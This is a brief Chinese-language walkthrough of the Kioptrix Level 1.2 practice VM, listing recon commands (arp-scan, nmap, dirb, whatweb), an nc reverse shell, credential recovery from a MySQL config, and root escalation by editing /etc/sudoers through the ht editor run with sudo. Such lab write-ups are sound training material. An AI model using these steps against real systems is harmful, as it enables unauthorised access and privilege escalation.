Kioptrix: Level 1.2 (#3)靶机
arp-scan -l 扫描靶机IP地址
nmap -sV -Pn -A x.x.x.245 扫描出80,22端口
打开80端口
一句话木马插入不成功
扫描网站目录,dirb http://x.x.x.245
whatweb -vv x.x.x.245,扫描cms
nc 进行反弹
查看mysql配置文件
登录进去
查看用户名
将loneferret用户密码解密,密码:starwars
sudo -l 查看,发现ht编辑器,可提权
进入
export TERM=xterm-color
sudo /usr/local/bin/ht
f3
/etc/sudoers
回车,输入,/bin/bash
执行sudo /bin/bash 获得root权限